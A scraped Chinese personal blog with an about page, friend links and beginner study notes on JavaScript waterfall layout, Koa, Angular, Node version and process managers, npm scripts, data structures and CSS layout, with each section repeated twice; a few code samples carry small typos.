关于本站 这是本人的个人博客,分享一些本人学习过程中写的笔记 如果文章出现错误或者不正确的地方,欢迎在文章下提出,进行纠正,笔记会根据学习进度来进行更新或者修改 本站未注明转载的文章均为原创,转载请标明来源 本站点基于hugo构建 免责声明 本站内容仅供学习和参阅使用,本网站内容仅代表作者本人的观点,内容仅供阅读,如有任何问题,欢迎联系站长(email:xiaochenabc123@qq.com),将会在第一时间为您做相关处理 自述: 2002年出生,星座:摩羯座 偏好语言:JavaScript(TypeScript),Golang,Python,Rust APP&小程序:Flutter,Taro 家里蹲公司的一名干饭攻城狮 最喜欢的游戏:CSGO,塞尔达传说:旷野之息,王者荣耀 看完的小说:全职法师,雪鹰领主,吞噬星空,星辰变,牧龙师 目前在看小说:完美世界 联系方式: 邮箱:xiaochenabc123@qq.com GitHub:https://github.com/xiaochenabc123 书籍: GO语言学习笔记,数学之美,深入浅出Docker,GO语言核心编程,JavaScript高级程序设计,深入浅出Nodejs,React进阶之路,Redis实战,深入浅出React和Redux,深入理解TypeScript,前端技术架构与工程,labuladong的算法小抄,算法图解,Python3网络爬虫开发实战,前端架构:从入门到微前端,前端开发核心知识进阶:从夯实基础到突破瓶颈,Vue.js设计与实现,MongoDB进阶与实战:微服务整合、性能优化、架构管理,Angular开发入门与实战,React设计原理
关于本站 这是本人的个人博客,分享一些本人学习过程中写的笔记 如果文章出现错误或者不正确的地方,欢迎在文章下提出,进行纠正,笔记会根据学习进度来进行更新或者修改 本站未注明转载的文章均为原创,转载请标明来源 本站点基于hugo构建 免责声明 本站内容仅供学习和参阅使用,本网站内容仅代表作者本人的观点,内容仅供阅读,如有任何问题,欢迎联系站长(email:chenjunlinabc123@foxmail.com),将会在第一时间为您做相关处理 自述: 2002年出生,星座:摩羯座 偏好语言:JavaScript(TypeScript),Golang,Python,Rust APP&小程序:Flutter,Taro 家里蹲公司的一名干饭攻城狮 最喜欢的游戏:CSGO,塞尔达传说:旷野之息,王者荣耀 看完的小说:全职法师,雪鹰领主,吞噬星空,星辰变,牧龙师 目前在看小说:完美世界 联系方式: 邮箱:chenjunlinabc123@foxmail.com GitHub:https://github.com/chenjunlinabc 书籍: GO语言学习笔记,数学之美,深入浅出Docker,GO语言核心编程,JavaScript高级程序设计,深入浅出Nodejs,React进阶之路,Redis实战,深入浅出React和Redux,深入理解TypeScript,前端技术架构与工程,labuladong的算法小抄,算法图解,Python3网络爬虫开发实战,前端架构:从入门到微前端,前端开发核心知识进阶:从夯实基础到突破瓶颈,Vue.js设计与实现,MongoDB进阶与实战:微服务整合、性能优化、架构管理,Angular开发入门与实战,React设计原理
保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记
保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记
瀑布流的特点就是容器等宽不等高,计算其高度,选择最矮的一个容器的下面将插入第二行的第一个容器,以此类推,因此容器需要设置为绝对定位 首先需要确定一行有多少列,列数 = 页面的宽度 / 容器的宽度 获取页面的宽度:window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth 获取页面的高度:window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight 页面宽度:.width,容器宽度:.offsetWidth 得到了列数后,还需要得到全部容器的高度,因此还需要用到数组,用来存储容器的高度 遍历全部容器,还需要判断是否到了第二行,i<列数 而第一行的全部容器,设置头部和左边定位,左边定位设置为容器的宽度*i,保证不会被覆盖或者溢出,同时将arr[i].offsetWidth传入新的数组中 然后找到上一行最矮的容器,只需要将全部得到的容器的宽度判断一下就可以,首先假释一下第一个容器就是最矮的,当遍历的容器小于该容器时,那么将该容器设置为当前遍历的容器,而当前遍历的i就是最矮的容器索引值 然后就设置下一行的容器的位置就可以了,头部:最矮的容器的高度,左边:最矮的容器距离页面最左边的宽度 因为已经设置了下一行的容器,因此还需要重新获取一下当前容器的高度,当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度 为了体验更好,可以将上面操作封装到一个函数中,当网页加载完毕加执行(window.onload),当页面宽度高度发送变化时也执行(window.onresize) 例如: var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i
瀑布流的特点就是容器等宽不等高,计算其高度,选择最矮的一个容器的下面将插入第二行的第一个容器,以此类推,因此容器需要设置为绝对定位 首先需要确定一行有多少列,列数 = 页面的宽度 / 容器的宽度 获取页面的宽度:window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth 获取页面的高度:window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight 页面宽度:.width,容器宽度:.offsetWidth 得到了列数后,还需要得到全部容器的高度,因此还需要用到数组,用来存储容器的高度 遍历全部容器,还需要判断是否到了第二行,i<列数 而第一行的全部容器,设置头部和左边定位,左边定位设置为容器的宽度*i,保证不会被覆盖或者溢出,同时将arr[i].offsetWidth传入新的数组中 然后找到上一行最矮的容器,只需要将全部得到的容器的宽度判断一下就可以,首先假释一下第一个容器就是最矮的,当遍历的容器小于该容器时,那么将该容器设置为当前遍历的容器,而当前遍历的i就是最矮的容器索引值 然后就设置下一行的容器的位置就可以了,头部:最矮的容器的高度,左边:最矮的容器距离页面最左边的宽度 因为已经设置了下一行的容器,因此还需要重新获取一下当前容器的高度,当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度 为了体验更好,可以将上面操作封装到一个函数中,当网页加载完毕加执行(window.onload),当页面宽度高度发送变化时也执行(window.onresize) 例如: var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i
koa是web应用框架,是Express原班人马打造的,致力于成为一个更小、更富有表现力、更健壮的 Web 框架 个人推荐:个人开发推荐用koa,团队开发推荐用egg egg是在koa的基础上进行封装,并且提供了一些,并且添加了约束,更利于工程化的开发 安装koa npm install koa 新建一个app.js const Koa = require("koa") const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = 'hallo, koa!' }) app.listen(3000) node app.js get请求参数的接收 const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127.0.0.1:3000/admin?name=admin&pass=123 通过ctx.request来获取得到get请求参数(query) 还可以通过ctx上下文获取 app.use(async(ctx)=>{ const url =ctx.url const ctxQuery = ctx.query const ctxQuerystring = ctx.querystring ctx.body={ url, ctxQuery, ctxQuerystring } }) Post请求接收 Koa默认返回类型是text/plain,判断返回类型ctx.request.accepts() 一般来说,返回给用户的页面都是写成文件的,因此可以通过nodejs的fs来读取本地的文件 const fs = require("fs") app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = 'fs.createReadStream('./test.html')' }) 路由 判断当前路由地址 ctx.request.path 路由模块 const route = require(‘koa-route’) app.ues(route.get("/", main)) 静态资源管理 const path = require(‘path’) const serve = require(‘koa-static’) const main = serve(path.join(__dirname)) app.use(main) 重定向 ctx.response.redirect()可以实现302重定向,例如: const redirect = ctx => { ctx.response.redirect('/') ctx.response.body = 'index' } app.use(route.get('/auth, redirect)); 中间件 中间件实质上就是在请求和响应之间,实现某个中间功能,而app.use()就是用来加载中间件的 这个中间件默认支持两个参数(ctx和next) 多个中间件,按照先进后出,next可以传递,await next就是异步中间件 合成中间件 const compose = require(‘koa-compose’) const c = compose([a, b]) app.use(c) 抛出错误 const main = ctx =>{ ctx.response.status = 404 ctx.response.body = '404找不到资源'; } 注意:发生错误,koa会触发一个error事件,因此也可以监听这个事件,来抛出错误 读写cookies ctx.cookies.get()
koa是web应用框架,是Express原班人马打造的,致力于成为一个更小、更富有表现力、更健壮的 Web 框架 个人推荐:个人开发推荐用koa,团队开发推荐用egg egg是在koa的基础上进行封装,并且提供了一些,并且添加了约束,更利于工程化的开发 安装koa npm install koa 新建一个app.js const Koa = require("koa") const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = 'hallo, koa!' }) app.listen(3000) node app.js get请求参数的接收 const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127.0.0.1:3000/admin?name=admin&pass=123 通过ctx.request来获取得到get请求参数(query) 还可以通过ctx上下文获取 app.use(async(ctx)=>{ const url =ctx.url const ctxQuery = ctx.query const ctxQuerystring = ctx.querystring ctx.body={ url, ctxQuery, ctxQuerystring } }) Post请求接收 Koa默认返回类型是text/plain,判断返回类型ctx.request.accepts() 一般来说,返回给用户的页面都是写成文件的,因此可以通过nodejs的fs来读取本地的文件 const fs = require("fs") app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = 'fs.createReadStream('./test.html')' }) 路由 判断当前路由地址 ctx.request.path 路由模块 const route = require(‘koa-route’) app.ues(route.get("/", main)) 静态资源管理 const path = require(‘path’) const serve = require(‘koa-static’) const main = serve(path.join(__dirname)) app.use(main) 重定向 ctx.response.redirect()可以实现302重定向,例如: const redirect = ctx => { ctx.response.redirect('/') ctx.response.body = 'index' } app.use(route.get('/auth, redirect)); 中间件 中间件实质上就是在请求和响应之间,实现某个中间功能,而app.use()就是用来加载中间件的 这个中间件默认支持两个参数(ctx和next) 多个中间件,按照先进后出,next可以传递,await next就是异步中间件 合成中间件 const compose = require(‘koa-compose’) const c = compose([a, b]) app.use(c) 抛出错误 const main = ctx =>{ ctx.response.status = 404 ctx.response.body = '404找不到资源'; } 注意:发生错误,koa会触发一个error事件,因此也可以监听这个事件,来抛出错误 读写cookies ctx.cookies.get()
Angular是三大前端框架之一(Angular在国内的热度低,但是在国外热度还是很高的,主要是因为Angular到Angular2的断崖式升级) Angular和Vue的区别就是,Angular具备完整的MVVM框架功能(功能高度集成),提供一套完整的解决方案,而Vue是轻量级MVVM框架(渐进式,还需要vue-router之类的扩展功能),Angular和Vue并没有谁好谁坏之分,各有风格 注意:Angular是AngularJS的重写,AngularJS使用JavaScript编写完成,而Angular采用TypeScript编写完成 安装 npm install -g angular-cli 第一个Angular应用 name: hallo,{{name}} ng-app属性将其声明为是一个Angular应用,ng-model将数据绑定到name中,ng-bind将其输出绑定,ng-init是初始化值
Angular是三大前端框架之一(Angular在国内的热度低,但是在国外热度还是很高的,主要是因为Angular到Angular2的断崖式升级) Angular和Vue的区别就是,Angular具备完整的MVVM框架功能(功能高度集成),提供一套完整的解决方案,而Vue是轻量级MVVM框架(渐进式,还需要vue-router之类的扩展功能),Angular和Vue并没有谁好谁坏之分,各有风格 注意:Angular是AngularJS的重写,AngularJS使用JavaScript编写完成,而Angular采用TypeScript编写完成 安装 npm install -g angular-cli 第一个Angular应用 name: hallo,{{name}} ng-app属性将其声明为是一个Angular应用,ng-model将数据绑定到name中,ng-bind将其输出绑定,ng-init是初始化值
npm在这里https://xiaochenabc123.test.com/archives/31.html Yarn在这里https://xiaochenabc123.test.com/archives/38.html nvm全名node.js version management 用来nodejs多版本管理,可以切换和安装不同版本的nodejs 安装nvm之前记得把安装过的nodejs都卸载了 安装完成后,安装目录下会生成一个settings.txt文件 配置一下(如果要使用淘宝npm源的话) root: D:\Software\nvm path: D:\Software\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/ 环境变量 NVM_HOME设置为nvm安装目录 NVM_SYMLINK设置为nodejs安装目录 Path:添加%NVM_HOME%和%NVM_SYMLINK% 注意:安装路径不能出现中文或者空格,否则报错,请使用管理员权限运行use命令,否则可能导致exit status 1:xxx 安装指定版本nodejs nvm install 14.17.3 查看可以安装的nodejs版本 nvm ls available 查看当前全部已经安装的nodejs版本 nvm ls 切换nodejs版本 nvm use 14.17.3 卸载nodejs nvm uninstall 14.17.3 查看系统位数和node位数 nvm arch 另一个nodejs多版本管理工具n 安装n npm install -g n 安装最新nodejs版本 n latest 安装稳定版本nodejs n stable 安装lts版本 n lts 安装指定版本的nodejs(如果已安装了这个版本,那么就会选择这个版本,这个命令可以用来安装和选择) n 14.17.3 卸载指定版本 n rm 14.17.3 指定版本执行js n use 14.17.3 app.js 切换版本(n回车后,通过上下键来选择版本) n 查看网络上可以安装的nodejs版本 n ls-remote –all 删除除当前版本外的全部版本 n prune nrm镜像源管理工具 安装nrm npm install -g nrm 查看全部源 nrm ls 带*的是当前源 切换源 nrm use taobao 添加自定义源(腾讯npm) nrm add tencentnpm https://mirrors.cloud.tencent.com/npm/ 删除源 nrm del taobao 测试源速度 nrm test npm PM2是node进程管理工具,可以用来监控性能,进程守护,负载均衡等等 安装pm2 npm install -g pm2 或者 yarn add global pm2 启动应用(–watch是当文件发生变化自动重启,-i 3是3个app.js的应用实例,-name是命名应用) pm2 start app.js –watch -i 3 -name=“main” 执行app.js文件并且监听app.js的变化,-i为进程数,max表示当前cpu可启动的最大进程 pm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo –ignore-watch=“node_modules"为忽略监听指定的目录或者文件,这里忽略的是node_modules文件夹 –name为进程名字 pm2执行npm run dev pm2 start npm –watch – run dev pm2执行npm run start pm2 start npm –name demo – run start 停止应用 pm2 stop app.js 重启应用 pm2 reload app.js 删除应用 pm2 delete app.js 也可以用all来处理全部应用 pm2不只是只能启动nodejs,Python或者shell都可以 查看PM2中的进程信息 pm2 list 查看指定进程id的信息 pm2 show 0 重启指定进程id的进程 pm2 restart 0 重启全部进程 pm2 restart all 停止指定进程id的进程 pm2 stop 0 删除指定进程id的进程 pm2 delete 0 显示全部应用日志 pm2 logs 查看指定应用的日志 pm2 logs main 清空所有日志文件 pm2 flush 更新pm2 npm install pm2@latest -g pm2内存更新 pm2 update 查看pm2运行中的全部应用 pm2 list 查看各个应用内存占用和CPU情况 pm2 monit 查看指定应用的全部信息 pm2 show main pnpm pnpm是Node.js包管理工具,解决了npm/yarn的一些BUG 特点是:包安装速度极快,磁盘空间利用高效,支持monorepo 和yarn一样,也是通过缓存来保存安装过的包,使用pnpm-lock.yaml记录依赖包版本 pnpm是利用软链接(快捷方式)来实现依赖结构扁平化,从而解决了从缓存中拷贝文件的时间 更安全:没有在package.json声明,将不能使用依赖,而且不存在依赖提升(一个包依赖于另一个包,而且那个包不需要声明,就可以使用) 安装 npm install -g pnpm 安装包 pnpm install axios 升级 pnpm add -g pnpm 卸载 pnpm uninstall axios –filter package-a
npm在这里https://xiaochenabc123.test.com/archives/31.html Yarn在这里https://xiaochenabc123.test.com/archives/38.html nvm全名node.js version management 用来nodejs多版本管理,可以切换和安装不同版本的nodejs 安装nvm之前记得把安装过的nodejs都卸载了 安装完成后,安装目录下会生成一个settings.txt文件 配置一下(如果要使用淘宝npm源的话) root: D:\Software\nvm path: D:\Software\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/ 环境变量 NVM_HOME设置为nvm安装目录 NVM_SYMLINK设置为nodejs安装目录 Path:添加%NVM_HOME%和%NVM_SYMLINK% 注意:安装路径不能出现中文或者空格,否则报错,请使用管理员权限运行use命令,否则可能导致exit status 1:xxx 安装指定版本nodejs nvm install 14.17.3 查看可以安装的nodejs版本 nvm ls available 查看当前全部已经安装的nodejs版本 nvm ls 切换nodejs版本 nvm use 14.17.3 卸载nodejs nvm uninstall 14.17.3 查看系统位数和node位数 nvm arch 另一个nodejs多版本管理工具n 安装n npm install -g n 安装最新nodejs版本 n latest 安装稳定版本nodejs n stable 安装lts版本 n lts 安装指定版本的nodejs(如果已安装了这个版本,那么就会选择这个版本,这个命令可以用来安装和选择) n 14.17.3 卸载指定版本 n rm 14.17.3 指定版本执行js n use 14.17.3 app.js 切换版本(n回车后,通过上下键来选择版本) n 查看网络上可以安装的nodejs版本 n ls-remote –all 删除除当前版本外的全部版本 n prune nrm镜像源管理工具 安装nrm npm install -g nrm 查看全部源 nrm ls 带*的是当前源 切换源 nrm use taobao 添加自定义源(腾讯npm) nrm add tencentnpm https://mirrors.cloud.tencent.com/npm/ 删除源 nrm del taobao 测试源速度 nrm test npm PM2是node进程管理工具,可以用来监控性能,进程守护,负载均衡等等 安装pm2 npm install -g pm2 或者 yarn add global pm2 启动应用(–watch是当文件发生变化自动重启,-i 3是3个app.js的应用实例,-name是命名应用) pm2 start app.js –watch -i 3 -name=“main” 执行app.js文件并且监听app.js的变化,-i为进程数,max表示当前cpu可启动的最大进程 pm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo –ignore-watch=“node_modules"为忽略监听指定的目录或者文件,这里忽略的是node_modules文件夹 –name为进程名字 pm2执行npm run dev pm2 start npm –watch – run dev pm2执行npm run start pm2 start npm –name demo – run start 停止应用 pm2 stop app.js 重启应用 pm2 reload app.js 删除应用 pm2 delete app.js 也可以用all来处理全部应用 pm2不只是只能启动nodejs,Python或者shell都可以 查看PM2中的进程信息 pm2 list 查看指定进程id的信息 pm2 show 0 重启指定进程id的进程 pm2 restart 0 重启全部进程 pm2 restart all 停止指定进程id的进程 pm2 stop 0 删除指定进程id的进程 pm2 delete 0 显示全部应用日志 pm2 logs 查看指定应用的日志 pm2 logs main 清空所有日志文件 pm2 flush 更新pm2 npm install pm2@latest -g pm2内存更新 pm2 update 查看pm2运行中的全部应用 pm2 list 查看各个应用内存占用和CPU情况 pm2 monit 查看指定应用的全部信息 pm2 show main pnpm pnpm是Node.js包管理工具,解决了npm/yarn的一些BUG 特点是:包安装速度极快,磁盘空间利用高效,支持monorepo 和yarn一样,也是通过缓存来保存安装过的包,使用pnpm-lock.yaml记录依赖包版本 pnpm是利用软链接(快捷方式)来实现依赖结构扁平化,从而解决了从缓存中拷贝文件的时间 更安全:没有在package.json声明,将不能使用依赖,而且不存在依赖提升(一个包依赖于另一个包,而且那个包不需要声明,就可以使用) 安装 npm install -g pnpm 安装包 pnpm install axios 升级 pnpm add -g pnpm 卸载 pnpm uninstall axios –filter package-a
数据结构其实就是带结构的数据元素的集合,结构是数据元素之间的关系 数据结构(数组,字符串,队列,栈,链表,集合,哈希表(散列表),树(二叉树),图) 集合:结构中的元素除了同属于一个集合外,没有别的关系 线性结构:结构中的元素之间存在一对一的关系,一个对应一个 数性结构:结构中的元素之间存在一对多的关系 图形结果或者网状结构:结构中的任意元素都可以有关系 顺序结构:数据元素按照一个排序(规律)顺序存放,例如1,2,3 链式结构:每一个数据元素都是随机存放 栈:线性结构的一种特殊的存储方式 数据存储是按照先进后出的原理,先进入的数据,放在最下面,最后进入的放在最前面 数据的获取也是才上面往下面获取的 顺序栈:会在顺序栈中设置一个永远指向顶部元素的变量,当这个变量为-1的时候,说明这个栈没有元素,而存储一个元素就加一,获取就减一
数据结构其实就是带结构的数据元素的集合,结构是数据元素之间的关系 数据结构(数组,字符串,队列,栈,链表,集合,哈希表(散列表),树(二叉树),图) 集合:结构中的元素除了同属于一个集合外,没有别的关系 线性结构:结构中的元素之间存在一对一的关系,一个对应一个 数性结构:结构中的元素之间存在一对多的关系 图形结果或者网状结构:结构中的任意元素都可以有关系 顺序结构:数据元素按照一个排序(规律)顺序存放,例如1,2,3 链式结构:每一个数据元素都是随机存放 栈:线性结构的一种特殊的存储方式 数据存储是按照先进后出的原理,先进入的数据,放在最下面,最后进入的放在最前面 数据的获取也是才上面往下面获取的 顺序栈:会在顺序栈中设置一个永远指向顶部元素的变量,当这个变量为-1的时候,说明这个栈没有元素,而存储一个元素就加一,获取就减一
npm script是package.json中可以定义的脚本命令,可以用来实现自动化构建,例如: "scripts": { "dev": "node hallo.js" } npm run dev // 等于执行node hallo.js 查看当前项目的全部npm脚本 npm run 注意:当前项目的node_modules/bin下的全部依赖都可以直接访问 如果要执行多个脚本可以用&&(依次运行),&(并行运行) npm script有pre和post两个钩子,这两个钩子可以分别来做准备工作和清理工作等等,例如: "scripts": { "predev": "echo hallo", "dev": "node hallo.js", "postdev": "echo yes" } 相对于npm run predev && npm run dev && npm run postdev 像install,uninstall,publish,test,start等等都有pre和post这两个钩子 查看正在运行的脚本 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript) 可以缩写不用run,例如:npm dev npm script可以使用npm内部变量,例如: { "name": "root", "scripts": { "dev": "node hallo.js $npm_package_name" } } 获取npm内部变量name console.log(process.env.npm_package_name) 脚本错误抛出 "scripts": { "test": "echo \"Error: no test specified\" && exit 1" } 传递参数 { "scripts": { "dev": "node hallo.js" } } const name = process.env.npm_config_name console.log(name) npm run dev –name=root 可以看到获取到了参数name的值
npm script是package.json中可以定义的脚本命令,可以用来实现自动化构建,例如: "scripts": { "dev": "node hallo.js" } npm run dev // 等于执行node hallo.js 查看当前项目的全部npm脚本 npm run 注意:当前项目的node_modules/bin下的全部依赖都可以直接访问 如果要执行多个脚本可以用&&(依次运行),&(并行运行) npm script有pre和post两个钩子,这两个钩子可以分别来做准备工作和清理工作等等,例如: "scripts": { "predev": "echo hallo", "dev": "node hallo.js", "postdev": "echo yes" } 相对于npm run predev && npm run dev && npm run postdev 像install,uninstall,publish,test,start等等都有pre和post这两个钩子 查看正在运行的脚本 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript) 可以缩写不用run,例如:npm dev npm script可以使用npm内部变量,例如: { "name": "root", "scripts": { "dev": "node hallo.js $npm_package_name" } } 获取npm内部变量name console.log(process.env.npm_package_name) 脚本错误抛出 "scripts": { "test": "echo \"Error: no test specified\" && exit 1" } 传递参数 { "scripts": { "dev": "node hallo.js" } } const name = process.env.npm_config_name console.log(name) npm run dev –name=root 可以看到获取到了参数name的值
盒子模型 盒模型在css中是用来封装html元素的,因为本质上来看像个盒子一样,所以叫盒模型或者盒子模型,术语叫box model 外边距(margin):一般用于控制同辈元素之间的间距 边框(border):在内边距和内容之外的边框 内边距(padding):内边框是用于控制内容的距离 内容(content):内容,一般为文本和图像 例子:建立一个宽度为100px,10px的内边距,10px的外边距,10px的红色边框的盒子 div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top,bottom,left,right分别代表了上,下,左,右 或者padding: 上,右,下,左,只有一个数字就表示上,下,左,右都是这个数值 有两个数值就是分别代表上下和左右,有三个数值表示上和左右和下 这个盒子大小应该是内容的宽度+内边距+边框+外边距 100+20+20+20=160 两种盒模型 IE 盒子模型(box-sizing content-box)(怪异盒模型) IE盒模型的width与height是content、padding和border的总和 调用IE盒模型 box-sizing: border-box; W3C标准盒模型(box-sizing content-box) 标准盒模型的width与height只含content,不包括padding和border 调用W3C标准盒模型 box-sizing: content-box; 在IE6,7,8浏览器中不声明DOCTYPE类型,那么在IE6,7,8浏览器中会将盒子模型解释为IE盒子模型 如果在页面中声明了DOCTYPE类型,那么所有的浏览器都会把盒模型解释为W3C盒模型 JavaScript获取盒模型的宽和高(这里的DOM不是指整个dom,而是某个元素) DOM.style.width和DOM.style.height(只能获取内联样式) DOM.currentStyle.width和DOM.currentStyle.height(只支持IE) window.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height(兼容性好) 获取元素相对于视窗的位置(top,right,bottom,left都可以获取) let data = DOM.getBoundingClientRect() data.top 有BFC特性的元素是一个被“隔离”的容器,该容器里面的元素不会在布局上影响到外面的元素 满足下面其中一个条件就触发BFC特性 body 根元素 浮动元素 float除none外的值 绝对定位元素 position (absolute、fixed) display 为 inline-block、table-cells、flex overflow 除了 visible 以外的值 (hidden、auto、scroll) BFC的特性: BFC是页面上的独立容器,该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素 例子: 1.当处于同一个BFC容器时,外边距会进行重叠,为了避免重叠,可以将其放在不同的BFC容器内 2.当容器内的元素使用的浮动,将其脱离了文档流,要触发容器的BFC,那么BFC容器要包含使用了浮动的元素 3.当第一个元素使用了浮动,希望第二个元素不被浮动元素影响,要在第二个元素上触发BFC特性 flex为Flexible Box 的缩写,意为"弹性盒模型",为其盒模型提供足够大的灵活性 div{ display: flex; } 使用flex布局的元素,被称为flex容器,该元素的所有子元素为该容器的成员,称为flex项目 flex-direction 一般用到四个值 row:在水平方向上,起点在左 row-reverse:在水平方向上,起点在右 column:在垂直方向上,起点在上。 column-reverse:在垂直方向上,起点在下。 flex-wrap 一般用到三个值 nowrap:不换行 wrap:当容器宽度不足时换行,第一行在上方 wrap-reverse:当容器宽度不足时换行,第一行在下方 flex-flow是flex-direction和flex-wrap简写版,它们两个的属性都可以使用 例如flex-flow: row-reverse wrap-reverse; 表达了换行,第一行在下方,起点在右 justify-content 定义项目在主轴上的对齐方式 flex-star:左对齐 flex-end:右对齐 center: 居中 space-between:两端对齐,每个项目之间的间隔都相等 space-around:每个项目两侧的间隔相等,所以项目之间的间隔比项目与边框的间隔大一倍 align-items flex-start:头部对齐 flex-end:底部对齐 center:居中对齐 baseline: 项目的第一行文字的基线对齐 stretch:当项目没有设置高度或设置为auto时,将占满整个容器的高度 align-content flex-start:元素位于容器的开头 flex-end:元素位于容器的结尾 center:元素位于容器的中心 space-between:元素位于各行之间留有空白的容器内 space-around:元素位于各行之前、之间、之后都留有空白的容器内 stretch:默认值,元素被拉伸以适应容器 单独用于元素的属性 order 控制元素的顺序,数值越小排列就越靠前 order:1 flex-grow 控制元素的宽度 如果都为1,还有剩余的空间,那么将会等分剩余的空间 如果有一个为2,那么为2所占的剩余空间比为1的大1倍 flex-grow: 2 flex-shrink 控制元素宽度 如果都为1时,当空间不足时,将会等比例缩小 如果有一个为2时,那么当空间不足时 flex-shrink: 2 flex-basis 控制元素的初始宽度 \flex-basis: 100px flex 控制元素都有相同的宽度,不会被内容的长度撑开 \flex: 1 align-self 控制元素单独对齐方式 align-self: auto | flex-start | flex-end | center | baseline | stretch; 背景 定位 在box盒子内部的背景默认是在盒子的内边距的左上角对齐 background-origin属性则规定background是相对于什么位置来定位的 .box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url("hallo.jpg"); background-origin: padding-box; } background-origin属性值有3个,padding-box:相对于内边距定位,border-box:相对于边框定位,content-box:相对于内容区域 裁切 .box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url("hallo.jpg"); background-clip: padding-box; } background-clip属性提供相对于什么位置进行背景裁切,该属性值和background-origin一样 背景尺寸 .box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url("hallo.jpg"); background-size: 100px 100px; } background-size属性可以直接指定大小,也是可以cover或者contain填充 cover会按照原来的缩放比来填满整个盒子,而contain是按照原来缩放比,完整的填充盒子(不会填满) 边框 边框阴影 .box{ width: 300px; height: 300px; border: 1px solid red; box-shadow: 0px 0px 6px #ccc; border-radius: 6px; } box-shadow,第一个值为阴影在水平方向的偏移量(正数为正方向,负数为反方向) 第二个值为阴影在垂直方向的偏移量(正数为朝下,负数为朝上) 第三个值为阴影的模糊度 第四个值为阴影的颜色 border-radius为边框圆角 边框图片 .box{ width: 300px; height: 300px; border: 1px solid red; border-image-source: url("hallo.jpg"); // 边框图片 border-image-slice: 10; // 边框图片向内的偏移量 border-image-repeat: round; // 边框图片的平铺方式 border-image-width: 10px; // 边框图片的宽度 } border-image-repeat有4个常用值 stretch(默认值):拉伸图形来填充 repeat:平铺(重复)图形来填充 round:如果无法完整平铺,那么就进行缩放来适应 space:如果无法完整平铺,那么就进行扩展来适应 文本阴影 text-shadow,有4个值,分别是水平方向的偏移量,垂直方向的偏移量,模糊度,阴影的颜色 伪类选择器 :first-child:选择父元素中的第一个子元素 :last-child:选择父元素中的最后一个子元素 :nth-child(n) :选择父元素中正数第n个子元素 :nth-last-child(n) :选择父元素中倒数第n个子元素 n的值必须要大于等于0,也可以是表达式 :target:选择被锚链接指向 ::selection:选择被鼠标选中 例如: :target{ background-color: #ccc; } \跳转至1 … 1 或者 p::selection:{ background-color: #ccc; } xxx … xxx ::first-line:选择第一行 ::first-letter:选择第一个字符 例如: div{ width: 100px; height: 100px; } div::first-line{ background-color: #ccc; } div::first-letter{ background-color: #000; } sjdasfkdskbdsalkddsfjdslsakfbsdlss xxx test 过渡 .box1 { width: 300px; height: 300px; background-color: red; transition-property: all; transition-duration: 3s; } .box1:hover { width: 500px; height: 500px; background-color: #ccc; } transition-property:表示哪些属性要参与到过渡动画效果,all表示全部 transition-duration:表示过渡执行时间 transition-delay: 设置过渡执行前等待的时间 transition-timing-function:过渡的速度类型,linear为相同速度,ease为开始慢速,变快,然后慢速结束,ease-in慢速开始,ease-out慢速结束,ease-in-out以慢速开始和结束,cubic-bezier开始到结束的不同速度过渡,用小数来表示进度,例如cubic-bezier(0.1, 0.3, 0.6, 0.1) CSS3 border-image border-image可以在元素的边框上绘制图像,规范要求使用borde-images时边框样式必须存在 border-image: url(./logo.jpg) 10 repeat 上面这行代表使用图片logo.jpg,裁剪位置10,使用重复方式 图片:使用url()调用,路径可以是绝对或者相对,也可以不用图片,即none 裁剪位置:默认单位为px,10表示10px,不需要写单位 